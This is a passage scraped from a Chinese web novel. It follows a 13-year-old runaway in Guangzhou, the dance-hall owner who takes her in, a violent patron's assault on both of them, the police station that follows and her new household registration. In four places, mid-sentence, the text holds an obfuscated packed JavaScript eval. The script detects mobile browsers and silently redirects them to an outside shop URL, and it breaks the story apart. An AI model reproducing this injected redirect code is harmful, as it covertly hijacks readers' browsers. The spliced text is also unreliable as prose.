炸耳的喧嚣声过后,耳畔是长久的嗡鸣,大脑在一瞬间放松下来,青山愣愣地想,五块钱一个月,要什么时候才能供得起青水读书呢。 她自认脑子不算聪明,论读书是比不过青南和青水的,当初刚出来的时候想得太好了,现在才知道,以她的收入,根本供不起她们两个人读书,那索性她就一直打工,青水去念书,她一定能念出名堂来。 孟琳是后半夜才回的屋,彼时青山已经睡得迷迷糊糊,被丁零当啷的响声给吵醒,她睡眼惺忪地摸黑起来,循着声音找过去。 “孟琳?”她轻轻唤了声,地上躺着个黑影儿,不时传来刺鼻的酒气。 “……” 青山无可奈何地看着地上烂醉的女人,还行,起码知道回家再睡了。 她叹了声,搬起孟琳的双脚把她往床上挪,还好她不算重,倒也不费劲,青山给她盖了被子,正准备离去,却听孟琳似乎小声嘟囔了句什么,她没听清,抬手撩起耳边碎发凑近她,“……阿明。” “……” 青山懒得再看她一眼,确保这酒鬼不会被冻死之后就回外间蒙头睡觉了。 第二天一早,窗外泄进来的阳光悄然爬上孟琳眼角,将她粘上的假睫毛也染成了浅金色,孟琳不大舒服地睁开眼,面上的黏腻感叫她瞬间清醒,完了完了,又忘记卸妆了,这脸还能看吗。 她急急忙忙跑去厕所正要打水洗脸,却见青山端坐在小板凳上背对她低头看书。 “你干嘛呢?” 青山专心看着手里的课本,冷不丁被孟琳出声喊住,吓了一跳,“我、我看书呢。” “看书?”孟琳嘴里含着牙刷,含糊不清地问,“对了,你不是说你是从家里逃出来的吗,那你学校怎么办?还是没在上学了?” “我念完初中就没念了。”青山略带无奈地说道,“我妈说女孩子不用念那么多书,反正都是要嫁出去的,我还好呢,至少念完了初中,我两个姐姐都没能念完初中。” “放屁。”孟琳往水槽里吐了口沫子,洗干净脸走出来,坐在青山身边,暖烘烘的太阳柔柔落在她们身上,为周身镀了一层金光,她伸手揽着青山的肩,两脚一岔摊在椅背上,“不管男孩女孩都得读书知道吗?你姐我就是吃了没读书的亏,只能搞这么个破舞厅,每天往死里喝酒。” 青山当然知道读书重要,她又何尝不想读书呢,但她年纪太小,实在不知道要怎么在异乡办下身份证以及学籍问题,还有就是,她没钱。 见青山不说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889057|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟琳又继续问:“你有两个姐姐?那怎么就你一个人出来了?” “……” 青山低低敛下眉睑,乌黑的鸦羽在脸上投下一片阴影,她觉得仿佛连声音都不是自己的了,“我二姐在老家,我答应等我混好了,要把她带出来我们一起去上学,我大姐她……她死了。” 诡异的沉默。 孟琳吸了下鼻子,难得有些语塞:“这样啊……” 她慌里慌张地起身,“那、那你读吧,我屋里还有几本书,就是不知道放哪儿了,你找找去,我出去买菜去。” “哦……”青山捏了捏起毛的书边,起身小心翼翼地问,“那我去找找?不会把你房间弄乱的。” 弄乱? 孟琳抬起眼皮想了想,她那房间还有再乱的可能吗? “随你吧。”她不在意地摆手,拿了钱包就要出门。 青山兴奋地从凳子上蹦起来,小跑过去打开孟琳房间的门,一打开,人就傻眼了。 昨天晚上不知是没开灯还是她没仔细看,现在外头天光大亮,她才发现这屋里居然连个下脚的地方都没有,满地都是衣服,桌面上歪七扭八放着十几瓶瓶瓶罐罐,衣橱里也塞满了衣服,柜门摇摇欲坠地晃着,快被里头的衣服给挤吐了。 青山踮起脚尖竭力寻找下脚的地方,暗自腹诽,怪不得说找不到书放哪儿了呢,这要是把人丢进去,连人也能找不到。 她弯腰捻起一条亮片裙搁在桌上,认命地撸起袖子干活,好歹算她救命恩人,总不能让她每天睡垃圾堆里。 光是整理衣服就费了青山大半个钟头,她想了想,去屋外拿了扫把准备扫地,刚把扫把伸进床底下,她就觉得不对,一用力拖带了几本沾满灰尘的书出来,青山面上一喜,连忙把那沓书本抽出来。 她拂开书页上的浮尘,却见最上头一本封面赫然写着:《怎样批评别人》。 青山:“……?” 她眉间缓缓皱起,继续看下一本:《人类死刑大观》,再下一本:《怎样提高打牌技巧》。 “……” 没事,还有最后一本,青山深吸一口气,将那本《怎样提高打牌技巧》移开,目光触及到最后一本书时却陡然移开,像被烫着了一般。 胸腔猛烈跳动,鼻尖微微沁出薄汗来,她手忙脚乱地合上那些东西,又一脚给踹回了床底下。 不是,这上面的人怎么不穿衣服啊! 这个孟琳到底在看些什么乱七八糟的书! 她慌忙把东西都归位,跌跌撞撞出了房间。孟琳回来时一无所觉,似乎并不知道自己给一个孩子的幼小心灵带来了多大的伤害。 青山没敢告诉孟琳自己看了她房里的书,只在晚上上班时悄悄和阿让说了几句,阿让笑得前仰后合,几乎要倒在椅子上。 “哈哈哈哈你刚来还不知道孟姐是个什么德行,很正常嘛,不过你要是想看书,可以去问高扬要书啊,他家里多着呢。” “他?他不是开小超市的吗?” “嗯。”阿让点头,“他也是没办法,读书的时候成绩可好了,可惜后来……” 5. 别怕 “后来怎么了?”青山仰着头看他。 “额……”阿让嘴角笑意凝住,“没啥,等他来了我帮你问问。” 青山正要答应,却被前厅突如其来的惊叫声打断,前厅似乎围了很多人,乱糟糟一团。 阿让眼神一凛,忙冲了出去。 地上洒了一滩酒水,玻璃碎片四面八方炸开,在人们脚边穿梭,阿让拨开人群挤了进去。 孟琳衣衫不整狼狈地跪坐在人群中央,一向精致的大波浪卷发这会儿也变得毛躁凌乱,眼尾的淡黑顺着泪水蜿蜒下来,在脸上连成一串墨点。 一个大腹便便的男人钳制住她的双手,叫她动弹不得分毫,围观的人群只是麻木地站着,却不阻拦,似乎这是一件再正常不过的事,只是被骚扰的人变成了舞厅老板而已。 青山愣愣地看着这荒唐的一幕,似乎所有人都变成了一瓶没气的可乐,激烈的气泡在空气中日复一日蒸发,最终趋于平静,宛如死水般不起波澜,喝进肚里也只是带着味道的水而已,从外面看还是瓶可乐,可只有自己知道,那不过是借着玻璃瓶伪装而已。 男人口中污言秽语不断,面上油光水滑,一看就知生活过得极其滋润:“小孟啊,你就跟了我吧,你说你一个女人家成天抛头露面的也不嫌害臊,你跟着我,我在外头有一套独栋房,你住进去,我再找几个保姆伺候你,天天吃香的喝辣的,当富太太,多好的事儿啊。” “我呸!”阿让怒喝一声,径直冲了出去挡在孟琳面前,“去你妈的富太太,谁不知道你就是靠老婆起家的,还敢在外头找女人,你老婆能放过你吗?” “你他娘的胡说什么呢?”男人立马动手和阿让推搡起来,阿让瘦弱,被他推得一个趔趄。 孟琳面上还挂着泪,青红的巴掌印交错,一双眼恨恨地瞪着那个男人,正欲起身,目光却越过人群与青山对上,她忽地愣住了,眼皮快速眨了几下,有些无所适从地别过脸去。 男人一拳把阿让打倒在地上,又伸手抓住孟琳,见她忽地转过头来,便会错了意以为她是要顺从,他狞笑着变本加厉伸手攀上孟琳的肩膀,粗笨的小指游离着勾下单薄的衣领,还欲再继续动作。 青山瞳孔一缩,只觉全身气血上涌,右手落在身侧微微颤抖,又是这样,为什么走到哪里女人都要被欺负,为什么永远不把女人当作一个完整的人来看,为什么,为什么?为什么! 她快步拨开人群冲着不安分的男人走过去,随手抡起桌上的酒瓶掂在手里,卯足了力气掼在男人头上。 酒瓶应声而碎,猩红的血液顺着男人的头流下来,他缓缓转过身,与青山四目相对。 世界寂静。 青山显然高估了自己的力气,她实在太过瘦小,一双纤细的胳膊并不具备把一个男人砸晕的力量,反而激怒了他。 男人伸手抹了把额头,目光在触到那抹猩红后变得凶狠,他跨过孟琳冲着青山逼来,猝不及防给了她一巴掌。 青山被这巨大的力道扇得偏过脸去,险些栽倒在地上,被身后桌子挡了一下后才站住,脑中一片嗡嗡响,好一阵耳鸣过后,她才堪堪睁眼看清眼前景象。 阿让似乎在看到她被打后又站了起来和那个男人对上,但他只是个半大少年,不过几下又被男人踹倒在地上,捂着肚子面色发白。 孟琳见青山和阿让都被打,仿佛丢下了所有防线,崩溃地抱住男人的大腿,声嘶力竭地求他:“陈老板,陈老板这是我老家妹妹,孩子年纪小不懂事,您高抬贵手!” 那个被叫做陈老板的男人像踢垃圾般一脚踢开地上狼狈的孟琳,喘着粗气解开腰间皮带,卷在手上绕了几圈,但他没有立刻打下去,如同蛇鳞般冰冷黏腻的手指轻轻抚过青山稚嫩的脸庞,青山一阵恶寒,觉得自己全身被癞蛤蟆嗦了个遍。 陈老板颇为下流地吹了个口哨,挑眉对青山说:“你倒是比你姐姐嫩多了,不如你考虑考虑,跟了我?你要是答应,我立马放过别人。” “陈老板!”孟琳失控地大喊,“她只有十三岁!只有十三岁!” 陈老板目光在青山身上扫视了一圈,随机失望地移开,“这么小?没意思,那就没办法了。” 他扬起手,高举着的皮带就要落下,青山条件反射地闭上眼,无数次相同的场景在她脑海中闪现,她极有经验地蹲下身抱头,等待疼痛的来临。 “啊——” 万籁俱寂间,四周一阵惊叫,想象中的疼痛并没有如期到来,青山愣住,愕然抬头,面前光亮被一道高大的阴影笼罩,挡在她身前钳制住了陈老板的手。 青山惊魂未定,胸腔中的心脏仍旧沉浸在后怕之中,还在剧烈跳动,但不知为何,看着这道不算熟悉的身影,青山莫名安心,一颗清泪毫无意识地划过侧脸。 “哪儿来的混小子敢管老子的闲事?是不是活腻歪了,啊?” 陈老板混着烟酒味的唾沫喷在高扬清俊的脸上,动了动手臂挣扎着要将他甩开,然而少年看着清瘦,实则有力得很,胳膊上蜿蜒着几条暴起的青筋,将人牢牢桎梏住动弹不得分毫。 他僵了一瞬,面上肥肉抖动,似乎是觉得有些挂不住面子,眸中火光更甚。他在这一片横行霸道了多年,这里的人见了他从来都是绕着走的,这还是第一次有人敢正面跟他对上。 少年眼中没什么情绪,寡淡得几乎看不见瞳孔,全然不将他放在眼里,陈老板咬牙,一张大脸涨成了猪肝色,瞧着像是要气背过去:“想死吗?还不赶紧给老子放开!你知不知道老子是谁?只要老子一句话,你他妈——” 剩下的话噎在喉咙里没来得及说出来,被一个冷冰冰的拳头硬生生打断,高扬显然没有那么多耐心等他放完狠话,一拳抡过去打掉了陈老板两颗牙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889058|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈老板吐出一口血沫,里头还混着两颗白花花的碎牙,他滑稽地捂着脸倒在地上呼痛,一时间,人群作鸟雀般散去,生怕惹火上身。 方才还热闹无比的舞厅此刻竟寂寥得有些可怕。 孟琳踉跄从地上爬起来,一把将高扬护在身后,事已至此,求饶已经没用了,她抖着手从兜里摸出一根烟来,擦了几下打火机愣是没把火给点上,她干脆放弃,捋了几把头发,镇定自若地吩咐,“打电话,把阿让和陈老板先送去医院,然后报警。” 陈老板已经说不出话了,油横的面部高高肿起,比方才更像猪头,额头的血液淌进了眼睛,将眼白染红,他怒睁着眼睛死死瞪着他们,犹如恶鬼。 青山被这眼神吓到,不由得后退一步借着高扬的背影挡住他的视线,然而在慌乱之中,谁都没有注意到她。 救护车来得很快,众人手忙脚乱把两人送了上去,孟琳抹了眼泪,从兜里到处把钞票来塞进高扬口袋:“陈老板这人小肚鸡肠,你得罪了他没有好果子吃的,赶紧先出去避避风头,带着你奶奶躲出去,赶紧走!” 孟琳两只手推搡着他,高扬虽说瘦了些,但毕竟人高马大,岂是孟琳能轻松推动的,见他不动,孟琳也来了火,等会警察就来了,没多少时间继续浪费,她提高了嗓门:“高扬,你不走要干什么?怎么,准备讹上我啊?我告诉你,要真论起来这事儿是你先动的手,没人求你帮忙,跟我八竿子打不着!” “你平时也就是往我店里送点酒水,不算我的员工,警察要抓也抓不着我。” 高扬还是没动,低头把那几张皱巴巴的钞票从口袋里头掏出来还给孟琳,眉宇间没什么波动,只清凌凌道:“我去自首,不会连累你们。” “你自什么首!”孟琳挡在门口阻止高扬往外走,“你不许去警局,从后门走,他们找不着你,等这阵过了你再回来,没人会记得——” 高扬岿然不动,犹如一颗倔强的青松:“人是我打的,你们不用怕,警察来了也只会找我,你们回去吧,这事儿跟你们没关系。” 不知道是不是青山的错觉,她总觉得高扬寡淡的目光似乎从她脸上一扫而过,也许没有,总之快到她找不着痕迹。 没等她回过味来,外头呜哩呜哩的警笛声由远及近响起,警察比他们预想的来得还要快,只简单问了他们姓名,便秋风扫落叶般将他们带走了。 周围污遭杂乱,刺耳的警笛声听得青山心里发虚,孟琳在另一辆警车上,只剩她和高扬同处一车,她对高扬实在算不上熟悉,这会儿怕得要命,却找不着人可以依靠,憋红了眼睛不敢哭出来。 一抹温热倏地覆上青山的耳尖,随之而来的是一声若有似无的轻叹:“别怕。” 这一刻,她似乎听见星河坠入潮汐,发出“咚”的一声轻响,而后细碎的星子铺满河床,漾起一汪涟漪。 6. 不疼 高扬把所有过错都揽在了自己身上,负责审讯的女警见青山年纪小,又一副吓坏了的模样,也没多为难,例行公事问了几个问题便带着青山坐在等待室里,给她倒了杯温水。 “不用怕。”女警温言安慰了几句,“这事儿跟你没什么关系,就是里头那个小伙子可能得麻烦点,毕竟是他先打的人,得看看受害者愿不愿意和解。” “那……”青山艰难地出声,“要是不和解呢?” 她脑海中闪过陈老板气焰嚣张的模样,一时有些全身发冷,这样的人怎么可能会选择和解,“如果不和解,他要坐牢吗?” “嗯?”女警想了想,“怎么也得拘留几天吧。” “拘留?”在青山看来,拘留和坐牢没什么区别,都会留下案底,可这一切都是因为她,因为她拿酒瓶子砸了人,因为她懦弱无能顺势随着高扬把罪责揽到自己身上,而高扬的罪,本是她该背负的。 “不是的,是我先打的人!”青山急急解释,“酒瓶是我砸的,他是替我顶罪,你们把我抓进去……” “杨青山!”不知什么时候出来的孟琳厉声打断了她的话,阔步向她走过来,高跟鞋在地面上发出“急促”的哒哒声,她瞪了青山一眼,转而笑着对那女警官道谢,“警察同志,真是麻烦你了,我这个妹妹脑子有点问题的,总是爱说胡话,你说她一个小姑娘家家的哪儿来的胆子拿酒瓶往人脑袋啊砸啊,是不是?” 女警官也不知信没信,总之没多说什么,反而问孟琳:“你是她姐姐?” “对对。”孟琳赶紧点头,“乡下来的远房表妹,年纪小,什么都不懂。” “那你们也真是够大意的。”女警官瞪了眼孟琳,没好气地道,“你知不知道你妹妹没有户籍信息啊?出生的时候没办吗?孩子不懂也就算了,你们这些当大人的怎么还这么马马虎虎,你当这是旧社会啊?” “啊?”孟琳并不知道青山是个黑户,被这么一骂也傻了,“这……这我还真不知道。” 女警官用一种无可救药的眼神看着她,不耐地摆摆手走了,“赶紧带她落户去。” 孟琳恍惚地在青山身边坐下,问:“你爸妈连户口都没给你办?” “嗯。”青山深深低下头,嶙峋的肩膀怯怯缩着,像一只被人欺负狠了的小猫,想靠近却又不敢,她小心翼翼伸出爪子试探着,想知道究竟怎样这人才会厌弃,“我妈生我的时候是偷着生的,那会儿管得严。” 孟琳比她大十多岁,自然知道她说的是什么,只是亲眼见着,心里还是不好受。这几天相处下来,她知道青山不是那种叛逆不服管的女孩,反而有些怯懦自卑,这样的一个孩子,能鼓足勇气从家里跑出来,可想而知她曾经遭遇了什么。 “高扬的事儿,你别担心。”她知道青山心里在想什么,出言宽慰了几句,“陈天勇那个人吧,他是靠他老婆起家的,怕老婆怕得要死,刚才他老婆赶去了医院,那儿的警察跟她说了前因后果,他老婆是个明事理的,已经签了谅解书了。” “那……”青山眼里忽地迸出光亮,“那高扬是不是不用坐牢了?” “当然了。”孟琳撸了把青山毛茸茸的脑袋,嫌弃地擦了擦手,“你几天没洗头了?油不拉几的——那个陈天勇还好意思说我们先动手呢,也不看看阿让被他打成什么样了,我估计他的脸得肿成猪头。” 对了。 青山才放下的心又忽地提起来,僵直了背问,“阿让哥怎么样了?” “应该问题不大吧,顶多就是破相。”孟琳晃着裙子上的穗儿,漫不经心道,“不过他那张脸破了相也挺好,省的招小姑娘了。” “很多小姑娘喜欢他?”青山对美丑没什么概念,在村里大家都面朝黄土背朝天,瞧着谁都是一脸灰,也看不出个好赖模样来,阿让在她眼里,就是干净,比村里人都干净。 “是啊,咱们舞厅里那些年轻小姑娘基本上都是冲着他和高扬来的,不过高扬每天也就待一会儿功夫,高扬走了,那不就只能看他了吗。” 青山嘴角抽了抽,这话说的,好像阿让是凑合的那个。 “阿让这人吧,对谁都好,对姑娘尤其好,见不得别人欺负姑娘,来找他的那些小丫头呢,有的胆大,有的胆小,我记得之前有一个胆儿特别大,居然抱着阿让就亲了一口,阿让也没生气,抹了把脸客客气气地把话说清楚了,那姑娘也没再来。” “他就这样儿,从来不跟人说重话,拒绝人也礼貌,除非真的生气,否则平时总是扯着嘴笑,也多亏他,我这舞厅生意才这么好。” 怪不得他看见孟琳被欺负这么生气呢。 正说话间,高扬便从审讯室里走了出来,两人感觉拥上去,“没事吧?” “没事。”高扬摇头,“阿让还在医院?” “在呢。”孟琳连忙应声,“听那小同志说,没什么大事,就是受了点皮外伤,陈天勇他老婆不追究,咱们都没事。” 高扬的手垂在身侧,青山正好瞥见他破皮红肿的指关节,应该是打人打得狠了,白白的皮肉翻起了边,里头淡红的血液干涸凝成痂,坠在皮肤上。 青山定定地盯着那处瞧,高扬觉出不对劲来,顺着青山的目光看过去,也看到了自己受伤的手,他顿了顿,不动声色将手背在身后,道:“走吧,我得回家,奶奶该担心了。” “哦对。”孟琳一拍脑门,恍然大悟般回过神来,“今天太晚了,你先回去吧,我带着青山去医院看看阿让。” “别叫她去了。”高扬看了眼青山,“出了这么多事,没看她吓傻了吗,你自己去吧,我送她回家。” 孟琳没注意到青山的情绪,她神经大条惯了,没有那么细心,闻言也同意了,“那你把人给我安全送到啊,我先走了。” 气氛陡然安静下来,青山眨巴眨巴眼,与高扬面面相觑。 “咳,走吧。”高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889059|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬也没什么跟小姑娘相处的经验,表面看着云淡风轻,其实比青山好不了多少,他站在青山身边,领着她往外走。 外头不知何时已落了雨,一股冷风迎面扑来,广州似乎一年四季都很潮湿,像个多泪的姑娘。 青山被冻得小小瑟缩了一下,高扬注意到,脱下身上的外套披在青山身上,回身进警局借了把伞撑在两人头顶,“走吧。” “那你呢?你不冷吗?” “不冷,刚打完一架,现在热得很。” “哦……”青山信了,拢了拢宽大的外套。 雨不算大,只是密,细细密密的叫人淋了难受,黑色的伞面倾斜,将青山整个人笼在里头。 二人一路无言。 两人走得慢,但好在孟琳家距离警局不算远,片刻功夫就到了,青山将外套还给高扬,有些犹豫,手里捏着钥匙却没开门。 高扬以为是他在这里青山害怕,所以没开门,立马贴心地同她告别,“我先走了,你好好休息。” 青山见人要走,立马急了,“……等等。” 高扬臂弯里还搭着她刚刚披过的外套,就这么回头瞧她,雨幕中看不大真切他的面容,青山低着头道;“你的手……要不我给你包扎一下?” 怕高扬拒绝,她又补了句:“你奶奶,会担心的。” 想起家里的老太太,高扬柔了眉眼,“好,麻烦你了。” “没什么。”青山立马高兴起来,笑眼弯弯,“算是谢谢你请我喝可乐。” “行。”高扬失笑,跟在青山后头进了屋。 屋里也泛潮,老旧的钨丝灯晕着昏黄的光,青山出门的时候没想到会下雨,半开的窗户摇摇欲坠,冷雨从外头挤进来,落在桌前的书本上,纸张泡得有些发皱。 青山心疼地将书擦了擦,没敢用力,高扬在身后看她收拾,默不作声。 “你坐吧。”她不好意思叫人站着,只潦草擦了几下就去找药包,她记得孟琳跟她叮嘱过,家里有药包,应急完全够了。 好不容易从犄角旮旯里找出落灰的药包,青山坐在高扬身边,一时无从下手。 高扬没说话,将受伤的手递给青山,青山没和异性这么近距离接触过,有些紧张,两根手指小心捻起他的手掌,少年手掌温热有力,比青山大了一圈的手轻轻搭着,任她动作。 高扬坐在小板凳上仰头看她,女孩神情认真,蹙着眉给他消毒,包扎,动作轻柔地仿佛在对待一件易碎的玻璃制品,手中触感软绵又温凉,女孩的手细细小小的,似乎没有骨头,但并不细腻,一看就知道是干了许多活的。 青山没给人包扎过,手生得紧,系的结有些松散,她凑近去小心地解开,湿漉漉的呼吸喷洒在高扬手上,他呼吸滞了一瞬,有些不自在地动了下手指。 青山以为弄疼了他,连忙问道:“你疼吗?” “没事。”高扬喉结滚了滚,“不疼。” 7. 我们是彼此的家人 高扬走后,青山独自一人坐在凳子上,平复着情绪。 她确实被吓到了,她远没有表现出来的那么平静。 青山悲哀地意识到,她只是从一个微小的牢笼里逃进了一个更大的牢笼,如果她不能变得强大,这样的事情还会无数次上演,她已经受够了。 孟琳是在天快亮的时候才回来的,她给青山带了早点,也不知道是去哪儿买的。 青山睡眼惺忪地坐在桌子边上啃包子,孟琳打了个哈欠,道:“舞厅这几天不营业,反正你也起床了,去医院照顾照顾阿让,我得补个觉。” 被强制叫醒的青山:“……” 医院里一向吵嚷,阿让也睡不好,高扬带来的早点他也没吃几口,正想着让高扬推他出去晒晒太阳,迎面正撞上了进门的青山。 青山也没想到高扬会来得这么早,她诧异了一瞬,问:“你们要出去?” “诶,小妹妹来啦!”阿让见着青山很高兴,也不吵着晒太阳了,又让高扬把他推回病房。 高扬白了他一眼,又将人推了回去,顺便问了青山一嘴:“吃过饭了吗?” “吃过了。”青山帮忙把人扶到床上,在边上的凳子上坐下。 “阿让哥,你还好吧?” 青山打量了他几眼,觉得他伤得有些重,鼻青脸肿的,手上也缠了绷带,腿似乎看上去没什么事,但想起他方才坐着轮椅,应该也受了伤。 “他能有什么事。”高扬将轮椅放在角落,擦了把手坐下来,“看着吓人而已,都是皮外伤。” 见青山盯着阿让腿瞧,高扬伸手重重拍了下阿让的腿,“作呢。” “不是,你……”阿让还没来得及卖可怜,就被高扬拆穿了个干净,一时有些面上发烫。 青山放下心来,庆幸道:“那就好,昨天晚上看你躺在地上一动不动,还以为你伤得很重,没事就好。多亏了高扬哥,不然估计咱们都得躺医院,阿让哥你后面晕了,都没看到,高扬哥力气比陈老板大多了,一拳就打掉他两颗牙呢。” 青山还在喋喋不休地说着,阿让瘫着一张脸看她说,面上的表情一言难尽。 房间内骤然安静下来,青山渐渐止了话头,有些不好意思,“我是不是话太多了?” “没有。”高扬低着头憋笑,嘴角弧度微微上扬,显得整个人平易近人了几分,“说得很好,阿让确实……没什么力气。” 阿让:“……” 他蹭的一下从床上跃起来,不服气地为自己辩解:“那个陈天勇一百八十斤好不好,我打不过不是很正常吗?谁跟你似的天天搬货一身牛劲!” “行,赶紧躺着吧,小公主。”高扬敷衍地应了句,惹得阿让又一阵怪叫,青山失笑,眉眼里尽是轻松。 几人玩闹间,病房门忽地被人拍了拍,护士走了进来,面带不快地提醒:“讲咩啊,细声掂啦。” 她说的是广州本地话,青山听不懂,愣愣地看着她。 高扬连忙轻声道歉:“唔好意思,我哋会静啲??。” 护士走后,高扬过去把门掩上,对着他们做了个轻声的手势。 阿让闲不住又抓着青山说话,“诶,你是不知道,昨天那个陈天勇就躺我边上,嚎得那叫一个惨,警察问他话都不说,一个劲地嚎,后来他老婆一来他就安静了,跟个鹌鹑似的,他老婆看着比他还有劲儿,拎他跟拎小鸡崽一样。” “真的假的?”青山持怀疑态度,陈天勇在她看来简直就跟小山一样壮,他老婆居然好能比他有力气? “当然是真的了,我骗你干嘛。”阿让翻了个身,忽地想起什么,从床头柜上拿了个红罐子递给青山,“这个给你。” “这是什么?” “麦乳精,好东西。”他手指敲了敲罐子,“你正长个子呢,多吃点补补,瘦得跟猴似的。” “这……”青山跟捧着个烫手山芋一样,拿也不是放也不是,“那怎么行,你受伤了应该你补啊,而且这是人家送给你的,怎么能给我。” “这有啥。”阿让满不在意地轻嗤一声,“这高扬从店里拿来的,他那儿有的是,还差这一罐两罐的。” “拿着吧。”高扬冲她一抬下巴,“吃完了我再给你带过来,现在正是长身体的要紧关头,营养要跟上。” 青山还想说什么,阿让这时候忽地拱起腰腹,捂着肚子一副痛苦的模样,青山被唬住了,连忙起身,“阿让哥你怎么了?是不是伤口痛了,我给你看看?” “别别别。”阿让勒着裤腰带不撒手,“我要撒尿,你帮不上忙,叫高扬带我去。” “哦……”青山悻悻收回手,看着高扬把人搀起来。 阿让又不满意了,“轮椅呢?我现在是病号,能不能对病号有一点起码的关怀?” “去不去?”高扬抬脚踹他屁股,眉间藏着不耐。 “去就去,凶什么凶。”阿让嘟囔了句,捂着屁股进了厕所。 好在厕所就在病房里,也不远,高扬只需要给他开个门就行。 坏就坏在厕所不隔音,他们说什么青山听得一清二楚。 阿让:“高扬你过来下。” 高扬语气更加不耐烦:“干什么。” “你过来啊。”阿让话语带了点急切,极为苦恼般,“你帮我扶着,我手没劲儿。” “扶?你有病?” “不是,不扶着我尿不出来,你过来啊,站那么远干什么?” 青山:“……” 她好像知道扶什么了。 “不行。”高扬严词拒绝,“你就这么尿,尿不出来别尿了,憋不住你就能尿了。” “诶不是……” 后面青山也没耳朵听了,索性背过身逃到窗边,二人的说话声这才渐渐模糊。 也不知高扬最后到底扶没扶,反正阿让倒是一身轻快,舒舒坦坦翘着脚啃苹果。 青山的目光在他们两人身上转了一圈,面上有些发烫,她想了想,最后识趣地说:“阿让哥,高扬哥,我先走了,我回去看书呢。” “行,去吧,当心点。”阿让没注意到青山的不对劲,自然也不知道她心里的想法,只以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889060|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为小姑娘在病房里无聊待不下去。 高扬倒是问了一嘴:“我送你吧?” “不用,不用。”青山连忙拒绝,“你好好照顾阿让哥就行,我先走了。” 回到家孟琳已经醒了,她卸了浓妆,寡着一张脸,青山瞧着她还是不化妆好看,显得年轻。 孟琳见人回来,拎着包就要带她出门,“来得正好,跟我去一趟派出所。” “派出所?”青山听见这三个字汗毛都要竖起来,“又出什么事了?” “带你落户啊,你个黑户。”孟琳攥着青山的手往外走,昨夜的雨又带来新一轮寒潮,冷风瑟瑟打在青山脸上,冻得她打了个哆嗦,但手心是暖的,是烫的。 这天以后,青山就在孟琳的下一页,她们成为了法律意义上,彼此的家人。 孟琳拿着薄薄的户口本看了好久,拇指摩挲了一遍又一遍,青山坐在她身边,读不懂她眼里的情绪,只能默默陪着。 “杨青山。”孟琳低声念了一遍。 “嗯?” “没什么。”孟琳似是喃喃自语,把户口本装进口袋里,垂下眉眼笑,“我就是高兴,在广州这么多年,总算有家了。” “你不是一直有家吗?”青山抬头看她。 孟琳整个人被笼罩在光亮下,素面朝天的脸上是不加掩饰的柔和,青山才发现,原来去掉刻意拉长的眼线,她居然是圆润的杏眼,亮而通透,带着不染俗世的清丽。 她把青山夹在自己胳肢窝底下,头挨着头,“有家人的地方才是家,那个只能叫房子,不过现在可以叫家了。” 青山仿佛被这话打了一拳,心里酸胀胀的,在远离故土的异乡,她找到了她的家人。她很想写一封信告诉青水,不用担心,她现在过得很好,她找到了和青水一样的家人,温暖的家人。 离开的那天,青山穿着被石子磨破的草鞋,身上的衣衫泥泞不堪,甚至还破了洞,彼时她精疲力尽,很想一头栽倒下去。 那里距离小山村已经很远了,无论青山怎么望也无法望到,可她知道还不够,她要走得更远,要走到没人寻得她的踪迹,没人清楚她的来历,她才能停下。 她以为她会举目无亲,在这个偌大的城市里孤身一人,做一只独行的野猫,但现在,这只野猫找到了她的窝。 翻越山岭的那天,她回头最后望了一回那块黑土,只见重山,不见故乡,而现在,抬头所见,皆是故土。 “走了小青山。”孟琳起身带她走,“今天要好好庆祝一下,叫上高扬和阿让,咱们出去吃一顿。” “可阿让还在医院呢。”青山道,“我看他行动还不方便,不能出院吧?” 孟琳想了想,觉得有道理,“也是,那就不带他了。” “要不去高扬家吃吧?”她边走边说,“他奶奶这会儿一个人在家呢,咱们不好吃独食,买点菜过去,我做饭。” 青山笑了笑,她能看出来孟琳是真的高兴。她快跑几步跟上孟琳,把手放进她的掌心,声音如同只小雀儿般欢欣:“好呀,我给你打下手!” 8. 你多大了 